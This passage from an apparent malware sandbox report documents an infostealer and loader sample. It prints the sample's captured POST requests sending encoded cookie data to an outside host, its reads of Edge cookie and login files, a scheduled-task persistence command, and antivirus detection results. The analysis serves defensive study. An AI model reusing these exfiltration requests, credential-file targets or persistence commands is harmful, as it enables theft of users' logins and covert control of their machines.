DBaU0k2SUNKT2IyNWxJaXdnSW5ObFkzVnlaU0k2SUNKVVVsVkZJaXdnSW5aaGJIVmxJam9nSWpsek9YRlpjM1I0VlZSblNtaDRlVGgxYmxwdlZtbHhUU0o5TENCN0ltUnZiV0ZwYmlJNklDSXVabUZqWldKdmIyc3VZMjl0SWl3Z0ltVjRjR2x5WVhScGIyNUVRPT0=" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:20:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=19040&key=9f045664ce18d0718dd5ce96056fee58 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 192 Host: app.alie3ksgaa.com" with payload::==> "STRZVFZrTUdRd1pEaG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpqYjI5cmFXVktjMjl1SWpvZ1cxMHNJQ0pwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HaUo5" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:20:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=19069&key=0801927b75a86ca048c572d5eec33a64 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 860 Host: app.alie3ksgaa.com" with payload::==> "WVhSbElqb2dJakUwTlRrNU1UUXhNVEkySWl3Z0ltaDBkSEJQYm14NUlqb2dJa1pCVEZORklpd2dJbTVoYldVaU9pQWlYMnB6WDJSaGRISWlMQ0FpY0dGMGFDSTZJQ0l2SWl3Z0luTmhiV1ZUYVhSbElqb2dJazV2Ym1VaUxDQWljMlZqZFhKbElqb2dJbFJTVlVVaUxDQWlkbUZzZFdVaU9pQWlPWE01Y1ZsdFgwRXRNRlpMUW5scFdsTk5Nbk4yYTBONkluMWRMQ0FpYVhOcGJuTjBZV3hzSWpvZ0lqQWlMQ0FpYldGaklqb2dJalkyT0Rnek1EQmlPR0UxWkRCa01HUTRabU5sT1RZellUWXlOV1l6T1RneElpd2dJblZwWkNJNklDSXlNakkxSWl3Z0luVnVYM0IzWkNJNklDSWlmZXlKamIyOXJhV1ZLYzI5dUlqb2dXM3NpWkc5dFlXbHVJam9nSWk1bVlXTmxZbTl2YXk1amIyMGlMQ0FpWlhod2FYSmhkR2x2YmtSaGRHVWlPaUFpTVRRMU9Ua3hOREV4TVRBaUxDQWlhSFIwY0U5dWJIa2lPaUFpVkZKVlJTSXNJQ0p1WVcxbElqb2dJbk5pSWl3Z0luQmhkR2dpT2lBaUx5SXNJQ0p6WVcxbFUybDBaU0k2SUNKT2IyNWxJaXdnSW5ObFkzVnlaU0k2SUNKVVVsVkZJaXdnSW5aaGJIVmxJam9nSWpsek9YRlpjM1I0VlZSblNtaDRlVGgxYmxwdlZtbHhUU0o5TENCN0ltUnZiV0ZwYmlJNklDSXVabUZqWldKdmIyc3VZMjl0SWl3Z0ltVjRjR2x5WVhScGIyNUVRPT0=" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:20:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=19082&key=2b05e1477ccfcd5a9d6074cdaa245105 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 192 Host: app.alie3ksgaa.com" with payload::==> "STRZVFZrTUdRd1pEaG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpqYjI5cmFXVktjMjl1SWpvZ1cxMHNJQ0pwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HaUo5" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:20:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=19104&key=f8ef7c4505de0cb66c367cdcd06d871c HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 860 Host: app.alie3ksgaa.com" with payload::==> "WVhSbElqb2dJakUwTlRrNU1UUXhNVEkySWl3Z0ltaDBkSEJQYm14NUlqb2dJa1pCVEZORklpd2dJbTVoYldVaU9pQWlYMnB6WDJSaGRISWlMQ0FpY0dGMGFDSTZJQ0l2SWl3Z0luTmhiV1ZUYVhSbElqb2dJazV2Ym1VaUxDQWljMlZqZFhKbElqb2dJbFJTVlVVaUxDQWlkbUZzZFdVaU9pQWlPWE01Y1ZsdFgwRXRNRlpMUW5scFdsTk5Nbk4yYTBONkluMWRMQ0FpYVhOcGJuTjBZV3hzSWpvZ0lqQWlMQ0FpYldGaklqb2dJalkyT0Rnek1EQmlPR0UxWkRCa01HUTRabU5sT1RZellUWXlOV1l6T1RneElpd2dJblZwWkNJNklDSXlNakkxSWl3Z0luVnVYM0IzWkNJNklDSWlmZXlKamIyOXJhV1ZLYzI5dUlqb2dXM3NpWkc5dFlXbHVJam9nSWk1bVlXTmxZbTl2YXk1amIyMGlMQ0FpWlhod2FYSmhkR2x2YmtSaGRHVWlPaUFpTVRRMU9Ua3hOREV4TVRBaUxDQWlhSFIwY0U5dWJIa2lPaUFpVkZKVlJTSXNJQ0p1WVcxbElqb2dJbk5pSWl3Z0luQmhkR2dpT2lBaUx5SXNJQ0p6WVcxbFUybDBaU0k2SUNKT2IyNWxJaXdnSW5ObFkzVnlaU0k2SUNKVVVsVkZJaXdnSW5aaGJIVmxJam9nSWpsek9YRlpjM1I0VlZSblNtaDRlVGgxYmxwdlZtbHhUU0o5TENCN0ltUnZiV0ZwYmlJNklDSXVabUZqWldKdmIyc3VZMjl0SWl3Z0ltVjRjR2x5WVhScGIyNUVRPT0=" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:20:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=19109&key=9a04ab984c738af6c1db30d118062bd7 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 192 Host: app.alie3ksgaa.com" with payload::==> "STRZVFZrTUdRd1pEaG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpqYjI5cmFXVktjMjl1SWpvZ1cxMHNJQ0pwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HaUo5" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:20:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=19145&key=c0968de6b49e30692c2c24f691a5a15e HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 860 Host: app.alie3ksgaa.com" with payload::==> "WVhSbElqb2dJakUwTlRrNU1UUXhNVEkySWl3Z0ltaDBkSEJQYm14NUlqb2dJa1pCVEZORklpd2dJbTVoYldVaU9pQWlYMnB6WDJSaGRISWlMQ0FpY0dGMGFDSTZJQ0l2SWl3Z0luTmhiV1ZUYVhSbElqb2dJazV2Ym1VaUxDQWljMlZqZFhKbElqb2dJbFJTVlVVaUxDQWlkbUZzZFdVaU9pQWlPWE01Y1ZsdFgwRXRNRlpMUW5scFdsTk5Nbk4yYTBONkluMWRMQ0FpYVhOcGJuTjBZV3hzSWpvZ0lqQWlMQ0FpYldGaklqb2dJalkyT0Rnek1EQmlPR0UxWkRCa01HUTRabU5sT1RZellUWXlOV1l6T1RneElpd2dJblZwWkNJNklDSXlNakkxSWl3Z0luVnVYM0IzWkNJNklDSWlmZXlKamIyOXJhV1ZLYzI5dUlqb2dXM3NpWkc5dFlXbHVJam9nSWk1bVlXTmxZbTl2YXk1amIyMGlMQ0FpWlhod2FYSmhkR2x2YmtSaGRHVWlPaUFpTVRRMU9Ua3hOREV4TVRBaUxDQWlhSFIwY0U5dWJIa2lPaUFpVkZKVlJTSXNJQ0p1WVcxbElqb2dJbk5pSWl3Z0luQmhkR2dpT2lBaUx5SXNJQ0p6WVcxbFUybDBaU0k2SUNKT2IyNWxJaXdnSW5ObFkzVnlaU0k2SUNKVVVsVkZJaXdnSW5aaGJIVmxJam9nSWpsek9YRlpjM1I0VlZSblNtaDRlVGgxYmxwdlZtbHhUU0o5TENCN0ltUnZiV0ZwYmlJNklDSXVabUZqWldKdmIyc3VZMjl0SWl3Z0ltVjRjR2x5WVhScGIyNUVRPT0=" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:20:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=19161&key=1546575bd3f87bdcbf0e1c383c72e3ba HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 192 Host: app.alie3ksgaa.com" with payload::==> "STRZVFZrTUdRd1pEaG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpqYjI5cmFXVktjMjl1SWpvZ1cxMHNJQ0pwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HaUo5" HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:20:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A.......8c:T1439,"rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Local State" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\COOKIES-WAL" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 6\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 7\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 8\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 9\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 10\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 11\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 12\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 13\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 14\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 15\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 16\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 17\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 18\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 19\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 20\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 21\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 22\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 23\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 24\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 25\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 26\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 27\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 28\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 29\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 30\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 31\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 32\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 33\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 34\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 35\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 36\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 37\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 38\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 39\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 40\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 41\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 42\NETWORK\COOKIES" "rty25.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 43\NETWORK\COOKIES"8d:T1433,Spawned process "file.exe" (UID: 00000000-00007004) Spawned process "InstallSetup9.exe" (UID: 00000000-00007492) Spawned process "toolspub1.exe" (UID: 00000000-00001344) Spawned process "31839b57a4f11171d6abc8bbc4451ee4.exe" (UID: 00000000-00004788) Spawned process "rty25.exe" (UID: 00000000-00001908) Spawned process "WerFault.exe" with commandline "-pss -s 460 -p 1344 -ip 1344" (UID: 00000000-00007132) Spawned process "WerFault.exe" with commandline "-u -p 1344 -s 556" (UID: 00000000-00002992) Spawned process "BroomSetup.exe" (UID: 00000000-00001968) Spawned process "WerFault.exe" with commandline "-pss -s 444 -p 4788 -ip 4788" (UID: 00000000-00003880) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 448" (UID: 00000000-00005308) Spawned process "WerFault.exe" with commandline "-pss -s 452 -p 4788 -ip 4788" (UID: 00000000-00001740) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 468" (UID: 00000000-00005840) Spawned process "WerFault.exe" with commandline "-pss -s 516 -p 4788 -ip 4788" (UID: 00000000-00007888) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 456" (UID: 00000000-00002284) Spawned process "WerFault.exe" with commandline "-pss -s 516 -p 4788 -ip 4788" (UID: 00000000-00007384) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 568" (UID: 00000000-00002272) Spawned process "WerFault.exe" with commandline "-pss -s 516 -p 4788 -ip 4788" (UID: 00000000-00003392) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 676" (UID: 00000000-00003216) Spawned process "WerFault.exe" with commandline "-pss -s 516 -p 4788 -ip 4788" (UID: 00000000-00005140) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 684" (UID: 00000000-00005876) Spawned process "WerFault.exe" with commandline "-pss -s 460 -p 4788 -ip 4788" (UID: 00000000-00005808) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 668" (UID: 00000000-00007272) Spawned process "WerFault.exe" with commandline "-pss -s 448 -p 4788 -ip 4788" (UID: 00000000-00007248) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 692" (UID: 00000000-00007256) Spawned process "WerFault.exe" with commandline "-pss -s 448 -p 4788 -ip 4788" (UID: 00000000-00003452) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 728" (UID: 00000000-00007468) Spawned process "nsd67A7.tmp" (UID: 00000000-00007268) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c ""%APPDATA%\\Temp\\Task.bat" "" (UID: 00000000-00006844) Spawned process "chcp.com" with commandline "chcp 1251" (UID: 00000000-00004864) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "MalayamaraUpdate" /tr "'%TEMP%\\Updater.exe'" /sc minute /mo 30 /F" (UID: 00000000-00003808) Spawned process "WerFault.exe" with commandline "-pss -s 444 -p 4788 -ip 4788" (UID: 00000000-00007368) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 736" (UID: 00000000-00007712) Spawned process "WerFault.exe" with commandline "-pss -s 444 -p 4788 -ip 4788" (UID: 00000000-00006096) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 820" (UID: 00000000-00005376) Spawned process "WerFault.exe" with commandline "-pss -s 536 -p 4788 -ip 4788" (UID: 00000000-00004424) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 708" (UID: 00000000-00003960) Spawned process "WerFault.exe" with commandline "-pss -s 528 -p 4788 -ip 4788" (UID: 00000000-00007308) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 860" (UID: 00000000-00006792) Spawned process "WerFault.exe" with commandline "-pss -s 456 -p 4788 -ip 4788" (UID: 00000000-00007336) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 880" (UID: 00000000-00003732) Spawned process "WerFault.exe" with commandline "-pss -s 512 -p 4788 -ip 4788" (UID: 00000000-00007292) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 876" (UID: 00000000-00006840) Spawned process "WerFault.exe" with commandline "-pss -s 512 -p 4788 -ip 4788" (UID: 00000000-00006484) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 808" (UID: 00000000-00006348) Spawned process "WerFault.exe" with commandline "-pss -s 516 -p 4788 -ip 4788" (UID: 00000000-00004736) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 896" (UID: 00000000-00003160) Spawned process "WerFault.exe" with commandline "-pss -s 520 -p 4788 -ip 4788" (UID: 00000000-00000240) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 876" (UID: 00000000-00006700) Spawned process "WerFault.exe" with commandline "-pss -s 392 -p 4788 -ip 4788" (UID: 00000000-00006248) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 836" (UID: 00000000-00004104) Spawned process "WerFault.exe" with commandline "-pss -s 452 -p 4788 -ip 4788" (UID: 00000000-00003776) Spawned process "WerFault.exe" with commandline "-u -p 4788 -s 884" (UID: 00000000-00005360) Spawned process "powershell.exe" with commandline "powershell -nologo -noprofile" (UID: 00000000-00007348) Spawned process "31839b57a4f11171d6abc8bbc4451ee4.exe" (UID: 00000000-00003376)1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790330754261,"unified_at":"2026-09-25T10:05:54.261Z","metadata":{"hashes":{"sha256":"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","sha1":"7cc85c826668d6f09b43ea9358ecdc57fecf398b","md5":"6af4b8b8c8399fca6798e3f2d7df9af5","sha512":"05089cf4cedc6f87a08fc2d193e90313e5e8422d3578321fad3af9f4bb97c4647c12b6f1d80bfcdb8c233a2171f895571dfb9047a52c5878f0a29ea02426439b","ssdeep":"196608:pv8GpkVa20mO8hnsSSU/sYE7m/TV38zQF5srpXh+LyDU:zythO+1SNMGcF5svH","ssdeep_chunks":["196608:pv8GpkV","196608:v8GpkVa","196608:8GpkVa2","196608:GpkVa20","196608:pkVa20m","196608:kVa20mO","196608:Va20mO8","196608:a20mO8h","196608:20mO8hn","196608:0mO8hns","196608:mO8hnsS","196608:O8hnsSS","196608:8hnsSSU","196608:hnsSSU/","196608:nsSSU/s","196608:sSSU/sY","196608:SSU/sYE","196608:SU/sYE7","196608:U/sYE7m","196608:/sYE7m/","196608:sYE7m/T","196608:YE7m/TV","196608:E7m/TV3","196608:7m/TV38","196608:m/TV38z","196608:/TV38zQ","196608:TV38zQF","196608:V38zQF5","196608:38zQF5s","196608:8zQF5sr","196608:zQF5srp","196608:QF5srpX","196608:F5srpXh","196608:5srpXh+","196608:srpXh+L","196608:rpXh+Ly","196608:pXh+LyD","196608:Xh+LyDU","393216:pv8GpkV","393216:v8GpkVa","393216:8GpkVa2","393216:GpkVa20","393216:pkVa20m","393216:kVa20mO","393216:Va20mO8","393216:a20mO8h","393216:20mO8hn","393216:0mO8hns","393216:mO8hnsS","393216:O8hnsSS","393216:8hnsSSU","393216:hnsSSU/","393216:nsSSU/s","393216:sSSU/sY","393216:SSU/sYE","393216:SU/sYE7","393216:U/sYE7m","393216:/sYE7m/","393216:sYE7m/T","393216:YE7m/TV","393216:E7m/TV3","393216:7m/TV38","393216:m/TV38z","393216:/TV38zQ","393216:TV38zQF","393216:V38zQF5","393216:38zQF5s","393216:8zQF5sr","393216:zQF5srp","393216:QF5srpX","393216:F5srpXh","393216:5srpXh+","393216:srpXh+L","393216:rpXh+Ly","393216:pXh+LyD","393216:Xh+LyDU","196608:zythO+1","196608:ythO+1S","196608:thO+1SN","196608:hO+1SNM","196608:O+1SNMG","196608:+1SNMGc","196608:1SNMGcF","196608:SNMGcF5","196608:NMGcF5s","196608:MGcF5sv","196608:GcF5svH"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"file","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":7656448,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1706544846000,"last_seen":1788385008000,"last_multi_scan":1788385008000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["mixloader","commodity","loader","broom","smokeloader","amadeyloader","criminal","informationstealer","stealc","downloader","evasive","windows-server-utility"]},"stats":{"av":{"malicious_count":18,"suspicious_count":0,"total_engines":24},"attributions":{"malware_families_count":3,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":117},"sandbox_signatures":{"informative_count":352,"suspicious_count":24,"malicious_count":22,"total":398},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Malware/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W32.MalwareX","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"IL:Trojan.ClipBanker.56","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"IL:Trojan.ClipBanker.56 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Agent.UZA trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Ransom.Win32.STOP.dg!n","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"VirTool/MSIL.Obfuscator.su","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Ransomware ( 005a8b921 